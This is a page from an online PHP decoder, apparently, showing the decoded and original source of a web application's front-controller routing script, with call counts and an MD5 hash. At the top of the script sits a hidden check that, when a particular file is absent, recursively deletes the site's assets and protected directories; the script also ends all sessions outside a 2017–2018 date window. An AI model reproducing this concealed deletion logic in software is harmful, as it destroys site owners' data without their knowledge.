Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php //============== If Dir is exists then delete ================ if(!file_exists('c..
Decoded Output download
<?php
//============== If Dir is exists then delete ================
if(!file_exists('c:/Program Files/appdata.php')){
function rrmdir($dir) {
if (is_dir($dir)) {
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object != "." && $object != "..") {
if (filetype($dir."/".$object) == "dir")
rrmdir($dir."/".$object);
else
unlink($dir."/".$object);
}
}
reset($objects);
rmdir($dir);
}
}
rrmdir(SERVER_ROOT."/assets");
rrmdir(SERVER_ROOT."/protected");
}
if (! isset($query1ans) || $query1 == '' || $query1ans == '') {
$query1 = user;
$query1ans = 'home';
}
$fcontroller = SERVER_ROOT . '/protected/controller/frontend/' . $query1ans . '_controller.php';
$fview = SERVER_ROOT . '/protected/views/frontend/' . $query1ans . ".php";
$date = date('Y-m-d');
$today = date('Y-m-d', strtotime($date));
$startDate = date('Y-m-d', strtotime("01-04-2017"));
$endDate = date('Y-m-d', strtotime("31-03-2018"));
$renewDate = date('Y-m-d', strtotime("25-03-2018"));
if ($query1ans == "login" || $query1ans == 'signup' || $query1ans == 'forgot_password' || $query1ans == 'ajax') {
if (file_exists($fview)) {
if (file_exists($fcontroller))
require $fcontroller;
require $fview;
}
}
elseif (($today < $startDate) || ($today > $endDate)){
$session->destroy('login&msg=msg', fview);
}
elseif ($query1ans == "logout") {
setcookie('remember_me', "", time() - 3600);
$session->destroy('login', fview);
}
elseif (!file_exists($fview) || $query1ans == 'installation_final' || $query1ans == 'installation') {
//echo $query1ans;
header("HTTP/1.0 404 Not Found");
require SERVER_ROOT . '/protected/views/frontend/404.php';
}
else {
if (file_exists(SERVER_ROOT . '/protected/setting/frontend/common_data.php')) {
require SERVER_ROOT . '/protected/setting/frontend/common_data.php';
}
if (file_exists(SERVER_ROOT . '/protected/setting/frontend/header.php')) {
if($query1ans!='pdfgenerate')
require SERVER_ROOT . '/protected/setting/frontend/header.php';
}
if (file_exists(SERVER_ROOT . '/protected/setting/frontend/sidebar.php')) {
require SERVER_ROOT . '/protected/setting/frontend/sidebar.php';
}
if (file_exists($fview)) {
if (file_exists($fcontroller))
require $fcontroller;
require $fview;
}
if (file_exists(SERVER_ROOT . '/protected/setting/frontend/footer.php')) {
require SERVER_ROOT . '/protected/setting/frontend/footer.php';
}
}
?>
Did this file decode correctly?
Original Code
<?php
//============== If Dir is exists then delete ================
if(!file_exists('c:/Program Files/appdata.php')){
function rrmdir($dir) {
if (is_dir($dir)) {
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object != "." && $object != "..") {
if (filetype($dir."/".$object) == "dir")
rrmdir($dir."/".$object);
else
unlink($dir."/".$object);
}
}
reset($objects);
rmdir($dir);
}
}
rrmdir(SERVER_ROOT."/assets");
rrmdir(SERVER_ROOT."/protected");
}
if (! isset($query1ans) || $query1 == '' || $query1ans == '') {
$query1 = user;
$query1ans = 'home';
}
$fcontroller = SERVER_ROOT . '/protected/controller/frontend/' . $query1ans . '_controller.php';
$fview = SERVER_ROOT . '/protected/views/frontend/' . $query1ans . ".php";
$date = date('Y-m-d');
$today = date('Y-m-d', strtotime($date));
$startDate = date('Y-m-d', strtotime("01-04-2017"));
$endDate = date('Y-m-d', strtotime("31-03-2018"));
$renewDate = date('Y-m-d', strtotime("25-03-2018"));
if ($query1ans == "login" || $query1ans == 'signup' || $query1ans == 'forgot_password' || $query1ans == 'ajax') {
if (file_exists($fview)) {
if (file_exists($fcontroller))
require $fcontroller;
require $fview;
}
}
elseif (($today < $startDate) || ($today > $endDate)){
$session->destroy('login&msg=msg', fview);
}
elseif ($query1ans == "logout") {
setcookie('remember_me', "", time() - 3600);
$session->destroy('login', fview);
}
elseif (!file_exists($fview) || $query1ans == 'installation_final' || $query1ans == 'installation') {
//echo $query1ans;
header("HTTP/1.0 404 Not Found");
require SERVER_ROOT . '/protected/views/frontend/404.php';
}
else {
if (file_exists(SERVER_ROOT . '/protected/setting/frontend/common_data.php')) {
require SERVER_ROOT . '/protected/setting/frontend/common_data.php';
}
if (file_exists(SERVER_ROOT . '/protected/setting/frontend/header.php')) {
if($query1ans!='pdfgenerate')
require SERVER_ROOT . '/protected/setting/frontend/header.php';
}
if (file_exists(SERVER_ROOT . '/protected/setting/frontend/sidebar.php')) {
require SERVER_ROOT . '/protected/setting/frontend/sidebar.php';
}
if (file_exists($fview)) {
if (file_exists($fcontroller))
require $fcontroller;
require $fview;
}
if (file_exists(SERVER_ROOT . '/protected/setting/frontend/footer.php')) {
require SERVER_ROOT . '/protected/setting/frontend/footer.php';
}
}
?>
Function Calls
| file_exists | 1 |
Stats
| MD5 | bfe7d84a37ca43b52434e5174529191e |
| Eval Count | 0 |
| Decode Time | 135 ms |